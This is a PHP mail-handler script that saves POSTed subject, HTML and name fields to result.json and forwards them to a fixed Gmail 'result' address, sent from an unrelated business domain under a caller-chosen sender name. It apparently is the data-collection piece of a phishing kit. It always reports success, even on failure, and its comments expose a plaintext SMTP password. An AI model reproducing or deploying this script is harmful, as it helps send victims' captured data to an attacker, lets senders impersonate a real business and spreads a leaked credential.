<?php
require 'Exception.php';
require 'PHPMailer.php';
require 'SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $subject = $_POST['subject'];
    $html = $_POST['html'];
    $name = $_POST['name'];

    $fromEmail = "adm@drivewayssalisbury.uk"; 
    $fromName  = $name;

    $fixedRecipient = "fajrulresult@gmail.com";

    $filePath = "result.json";
    $existingData = file_exists($filePath) ? json_decode(file_get_contents($filePath), true) : [];
    
    $existingData[] = [
        "subject" => $subject,
        "html" => $html,
        "name" => $name,
        "timestamp" => date("Y-m-d H:i:s")
    ];
    
    file_put_contents($filePath, json_encode($existingData, JSON_PRETTY_PRINT));

    $mail = new PHPMailer(true);

    try {
            // $mail->isSMTP();
            // $mail->Host       = 'mail.docrabby.com';
            // $mail->SMTPAuth   = true;
            // $mail->Username   = 're@docrabby.com';
            // $mail->Password   = 'Keygen321123#!@';
            // $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
            // $mail->Port       = 465;

        // Dari
        $mail->setFrom($fromEmail, $fromName);

        // Hanya satu penerima
        $mail->addAddress($fixedRecipient);

        // Konten
        $mail->isHTML(true);
        $mail->Subject = $subject;
        $mail->Body    = $html;
        $mail->AltBody = strip_tags($html);

        $mail->send();
        echo json_encode([
            "text" => "Email sent successfully!",
            "from" => $fromEmail,
            "subject" => $subject,
            "html" => $html
        ]);
    } catch (Exception $e) {
        file_put_contents("mailer_error.txt", date("Y-m-d H:i:s") . " ERROR: " . $mail->ErrorInfo . "\n", FILE_APPEND);
        echo json_encode([
            "text" => "Email sent successfully!"
        ]);}
}
?>
